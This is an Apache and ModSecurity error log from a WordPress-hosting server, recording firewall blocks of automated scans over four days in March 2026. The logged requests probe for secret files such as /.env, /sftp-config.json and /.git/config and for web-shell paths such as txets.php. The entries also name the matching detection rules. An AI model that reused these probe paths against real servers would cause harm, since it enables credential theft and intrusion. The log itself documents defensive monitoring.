[Thu Mar 05 02:30:17.099272 2026] [:error] [pid 27472:tid 27541] [client 54.169.210.208:51560] [client 54.169.210.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aah6Obt7N-W1OaN6b8rn5QAAAYo"]
[Thu Mar 05 02:30:17.676896 2026] [:error] [pid 26934:tid 26970] [client 54.169.210.208:51574] [client 54.169.210.208] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/api/.env"] [unique_id "aah6OWDWd71V_nuoqWJRowAAAI8"]
[Thu Mar 05 19:07:46.344651 2026] [:error] [pid 41459:tid 41478] [client 103.77.106.118:59474] [client 103.77.106.118] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aalkAudFBZEnZ3pzxrUTKQAAAUQ"]
[Thu Mar 05 22:40:25.351827 2026] [:error] [pid 8151:tid 8233] [client 157.15.40.88:50153] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/txets.php"] [unique_id "aamV2ZO3dLEidct1HvCoEgAAAY0"]
[Thu Mar 05 22:40:25.611005 2026] [:error] [pid 8151:tid 8233] [client 157.15.40.88:50198] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/txets.php"] [unique_id "aamV2ZO3dLEidct1HvCoJQAAAY0"]
[Thu Mar 05 22:40:25.876882 2026] [:error] [pid 62435:tid 62472] [client 157.15.40.88:50262] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/txets.php"] [unique_id "aamV2SMZJMDfZh_-8sWS2wAAANY"]
[Thu Mar 05 22:40:26.130340 2026] [:error] [pid 62177:tid 62315] [client 157.15.40.88:50322] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/txets.php"] [unique_id "aamV2hWSQc2OzPrsnwX6IwAAAIQ"]
[Thu Mar 05 22:40:26.389093 2026] [:error] [pid 62177:tid 62316] [client 157.15.40.88:50396] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/schallfuns.php"] [unique_id "aamV2hWSQc2OzPrsnwX6MAAAAIU"]
[Thu Mar 05 22:40:26.649254 2026] [:error] [pid 8151:tid 8225] [client 157.15.40.88:50470] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/postnews.php"] [unique_id "aamV2pO3dLEidct1HvCocwAAAYY"]
[Thu Mar 05 22:40:26.909196 2026] [:error] [pid 8151:tid 8239] [client 157.15.40.88:50545] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aamV2pO3dLEidct1HvCooQAAAZM"]
[Thu Mar 05 22:40:27.183185 2026] [:error] [pid 53350:tid 53377] [client 157.15.40.88:50615] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aamV26O0Baxc5WFYeP2FPQAAAQI"]
[Thu Mar 05 22:40:27.463142 2026] [:error] [pid 41459:tid 41485] [client 157.15.40.88:50692] [client 157.15.40.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/postnews.php"] [unique_id "aamV2-dFBZEnZ3pzxrWEJQAAAUs"]
[Fri Mar 06 00:41:56.185785 2026] [:error] [pid 47657:tid 47916] [client 103.77.107.222:55879] [client 103.77.107.222] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aamyVC76-uV01o_084mDugAAAA8"]
[Fri Mar 06 01:23:20.854979 2026] [:error] [pid 27687:tid 27725] [client 161.35.14.71:52722] [client 161.35.14.71] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 161.35.14.71, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aam8CEI2IG23EwU7sL8dXQAAAJg"]
[Fri Mar 06 01:23:20.865565 2026] [proxy_fcgi:error] [pid 27687:tid 27725] [client 161.35.14.71:52722] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 06:25:58.246789 2026] [:error] [pid 16140:tid 16151] [client 112.196.183.151:10937] [client 112.196.183.151] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.196.183.151, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaoC9pZVpEeGhAeSpv1-zwAAAQk"]
[Fri Mar 06 06:25:58.262061 2026] [proxy_fcgi:error] [pid 16140:tid 16151] [client 112.196.183.151:10937] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:41.672937 2026] [proxy_fcgi:error] [pid 16140:tid 16158] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:41.798116 2026] [proxy_fcgi:error] [pid 16140:tid 16144] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:42.307122 2026] [proxy_fcgi:error] [pid 16140:tid 16147] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:42.462243 2026] [proxy_fcgi:error] [pid 16140:tid 16157] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:42.712797 2026] [proxy_fcgi:error] [pid 16140:tid 16165] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:42.837033 2026] [proxy_fcgi:error] [pid 16140:tid 16143] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:42.961995 2026] [proxy_fcgi:error] [pid 16140:tid 16166] [client 20.89.244.168:8166] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 08:20:43.209075 2026] [:error] [pid 16140:tid 16160] [client 20.89.244.168:8166] [client 20.89.244.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaod25ZVpEeGhAeSpv2vlgAAARI"]
[Fri Mar 06 08:20:43.734454 2026] [:error] [pid 8656:tid 8812] [client 20.89.244.168:20340] [client 20.89.244.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaod25PxTG9Ff1TtP6MsMwAAAII"]
[Fri Mar 06 08:20:44.220327 2026] [:error] [pid 16140:tid 16163] [client 20.89.244.168:20333] [client 20.89.244.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaod3JZVpEeGhAeSpv2vlwAAARU"]
[Fri Mar 06 08:20:44.707788 2026] [:error] [pid 8945:tid 8984] [client 20.89.244.168:20321] [client 20.89.244.168] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaod3AttiLGNg13nMzIouwAAANE"]
[Fri Mar 06 09:14:41.628798 2026] [proxy_fcgi:error] [pid 8945:tid 8985] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:41.776709 2026] [proxy_fcgi:error] [pid 8945:tid 8972] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:42.095337 2026] [proxy_fcgi:error] [pid 8945:tid 8979] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:42.240514 2026] [proxy_fcgi:error] [pid 8945:tid 8986] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:42.530668 2026] [proxy_fcgi:error] [pid 8945:tid 8989] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:42.677301 2026] [proxy_fcgi:error] [pid 8945:tid 8984] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:42.822720 2026] [proxy_fcgi:error] [pid 8945:tid 8987] [client 20.207.200.31:8075] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 09:14:43.107461 2026] [:error] [pid 8945:tid 8991] [client 20.207.200.31:8075] [client 20.207.200.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoqgwttiLGNg13nMzJLhgAAANg"]
[Fri Mar 06 09:14:43.677616 2026] [:error] [pid 8945:tid 8969] [client 20.207.200.31:1104] [client 20.207.200.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoqgwttiLGNg13nMzJLiQAAAMI"]
[Fri Mar 06 09:14:44.255940 2026] [:error] [pid 16140:tid 16147] [client 20.207.200.31:1265] [client 20.207.200.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoqhJZVpEeGhAeSpv3FEAAAAQU"]
[Fri Mar 06 09:14:44.874962 2026] [:error] [pid 8945:tid 8971] [client 20.207.200.31:1216] [client 20.207.200.31] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaoqhAttiLGNg13nMzJLjgAAAMQ"]
[Fri Mar 06 20:40:03.226143 2026] [:error] [pid 59237:tid 59260] [client 223.185.54.74:29847] [client 223.185.54.74] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.54.74, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aarLI-qfMSBs0nxOTxE_8gAAA5I"]
[Fri Mar 06 20:40:03.236933 2026] [proxy_fcgi:error] [pid 59237:tid 59260] [client 223.185.54.74:29847] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 20:45:45.460533 2026] [:error] [pid 59239:tid 59276] [client 79.31.190.114:55838] [client 79.31.190.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.31.190.114, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aarMebG1EpnE909fvGentAAAA8c"]
[Fri Mar 06 20:45:45.470829 2026] [proxy_fcgi:error] [pid 59239:tid 59276] [client 79.31.190.114:55838] AH01071: Got error 'Primary script unknown'
[Fri Mar 06 23:10:54.366303 2026] [:error] [pid 59237:tid 59242] [client 62.60.131.218:55661] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aarufuqfMSBs0nxOTxGYwQAAA4A"]
[Sat Mar 07 08:28:17.064855 2026] [:error] [pid 52484:tid 52525] [client 62.60.131.218:49571] [client 62.60.131.218] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/"] [unique_id "aatxIfE9AnX6zUICFeRUwgAAARU"]
[Sat Mar 07 10:21:05.141865 2026] [:error] [pid 4609:tid 4637] [client 212.147.228.89:54992] [client 212.147.228.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/HEAD"] [unique_id "aauLkeP7JMxUbw4Fd1ardAAAAMk"]
[Sat Mar 07 10:21:05.633893 2026] [:error] [pid 4315:tid 4470] [client 212.147.228.89:56308] [client 212.147.228.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/config"] [unique_id "aauLkdDEK9AXzxu9OSh9iwAAAJU"]
[Sat Mar 07 10:21:06.123441 2026] [:error] [pid 4311:tid 4424] [client 212.147.228.89:56322] [client 212.147.228.89] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.agraphics.com.au"] [uri "/.git/logs/HEAD"] [unique_id "aauLknbyS653WMGf2vUhLQAAAEU"]
[Sat Mar 07 10:27:55.211441 2026] [:error] [pid 4315:tid 4471] [client 112.208.78.97:10277] [client 112.208.78.97] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 112.208.78.97, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aauNK9DEK9AXzxu9OSh_TQAAAJY"]
[Sat Mar 07 10:27:55.223003 2026] [proxy_fcgi:error] [pid 4315:tid 4471] [client 112.208.78.97:10277] AH01071: Got error 'Primary script unknown'
[Sat Mar 07 14:32:07.803085 2026] [:error] [pid 52484:tid 52519] [client 27.34.64.149:36917] [client 27.34.64.149] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 27.34.64.149, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aavGZ_E9AnX6zUICFeRaawAAAQ8"]
[Sat Mar 07 14:32:07.814458 2026] [proxy_fcgi:error] [pid 52484:tid 52519] [client 27.34.64.149:36917] AH01071: Got error 'Primary script unknown'
[Sat Mar 07 14:37:32.018779 2026] [:error] [pid 52484:tid 52510] [client 34.24.47.138:49835] [client 34.24.47.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/system/js/core.js"] [unique_id "aavHrPE9AnX6zUICFeRcoQAAAQc"]
[Sat Mar 07 17:01:20.561182 2026] [:error] [pid 37998:tid 38045] [client 193.32.126.227:62165] [client 193.32.126.227] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 193.32.126.227, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aavpYMl3xHpv0STGaSYMUwAAAUI"]
[Sat Mar 07 17:01:20.582041 2026] [proxy_fcgi:error] [pid 37998:tid 38045] [client 193.32.126.227:62165] AH01071: Got error 'Primary script unknown'
[Sat Mar 07 17:45:09.098970 2026] [proxy_fcgi:error] [pid 50682:tid 50705] [client 89.163.146.197:53091] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Sat Mar 07 17:45:12.948425 2026] [proxy_fcgi:error] [pid 50682:tid 50690] [client 89.163.146.197:57638] AH01071: Got error 'Primary script unknown', referer: www.google.com
[Sat Mar 07 17:45:18.648908 2026] [:error] [pid 28186:tid 28235] [client 89.163.146.197:57733] [client 89.163.146.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/txets.php"] [unique_id "aavzrpzBJnT5JlvQcuaSjAAAAhc"], referer: www.google.com
[Sun Mar 08 01:35:55.612626 2026] [:error] [pid 19385:tid 19437] [client 79.122.21.55:59633] [client 79.122.21.55] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 79.122.21.55, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aaxh-_f5_iv9UQMo0rkOXAAAAAg"]
[Sun Mar 08 01:35:55.623378 2026] [proxy_fcgi:error] [pid 19385:tid 19437] [client 79.122.21.55:59633] AH01071: Got error 'Primary script unknown'
[Sun Mar 08 15:00:43.601729 2026] [:error] [pid 22788:tid 22866] [client 109.153.59.79:61921] [client 109.153.59.79] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 109.153.59.79, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa0em0hwluk21OG9mSeCDAAAA4s"]
[Sun Mar 08 15:00:43.612187 2026] [proxy_fcgi:error] [pid 22788:tid 22866] [client 109.153.59.79:61921] AH01071: Got error 'Primary script unknown'
[Sun Mar 08 15:03:35.275813 2026] [:error] [pid 43671:tid 43744] [client 89.148.38.112:52399] [client 89.148.38.112] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 89.148.38.112, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa0fR66AdwroU1gT3XGRhQAAAFU"]
[Sun Mar 08 15:03:35.289229 2026] [proxy_fcgi:error] [pid 43671:tid 43744] [client 89.148.38.112:52399] AH01071: Got error 'Primary script unknown'
[Sun Mar 08 17:36:41.666828 2026] [:error] [pid 22786:tid 22822] [client 164.92.140.138:49768] [client 164.92.140.138] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 164.92.140.138, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa1DKXPuJewMN2jPbdXWJgAAAxU"]
[Sun Mar 08 17:36:41.677036 2026] [proxy_fcgi:error] [pid 22786:tid 22822] [client 164.92.140.138:49768] AH01071: Got error 'Primary script unknown'
[Sun Mar 08 17:36:45.892163 2026] [:error] [pid 22786:tid 22809] [client 164.92.140.138:49768] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aa1DLXPuJewMN2jPbdXWMwAAAwg"]
[Sun Mar 08 17:36:46.381462 2026] [:error] [pid 22786:tid 22802] [client 164.92.140.138:54009] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aa1DLnPuJewMN2jPbdXWNAAAAwE"]
[Sun Mar 08 17:36:46.876701 2026] [:error] [pid 22788:tid 22867] [client 164.92.140.138:54351] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aa1DLkhwluk21OG9mSf1CgAAA4w"]
[Sun Mar 08 17:36:47.373591 2026] [:error] [pid 22788:tid 22871] [client 164.92.140.138:54735] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aa1DL0hwluk21OG9mSf1CwAAA5A"]
[Sun Mar 08 17:36:47.886966 2026] [:error] [pid 22786:tid 22819] [client 164.92.140.138:55212] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aa1DL3PuJewMN2jPbdXWOwAAAxI"]
[Sun Mar 08 17:36:48.406629 2026] [:error] [pid 22786:tid 22801] [client 164.92.140.138:55732] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aa1DMHPuJewMN2jPbdXWQAAAAwA"]
[Sun Mar 08 17:36:48.905772 2026] [:error] [pid 22786:tid 22815] [client 164.92.140.138:56127] [client 164.92.140.138] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aa1DMHPuJewMN2jPbdXWQwAAAw4"]
[Sun Mar 08 18:10:57.201798 2026] [:error] [pid 22786:tid 22805] [client 223.185.131.231:8533] [client 223.185.131.231] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 223.185.131.231, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aa1LMXPuJewMN2jPbdXnHwAAAwQ"]
[Sun Mar 08 18:10:57.212452 2026] [proxy_fcgi:error] [pid 22786:tid 22805] [client 223.185.131.231:8533] AH01071: Got error 'Primary script unknown'
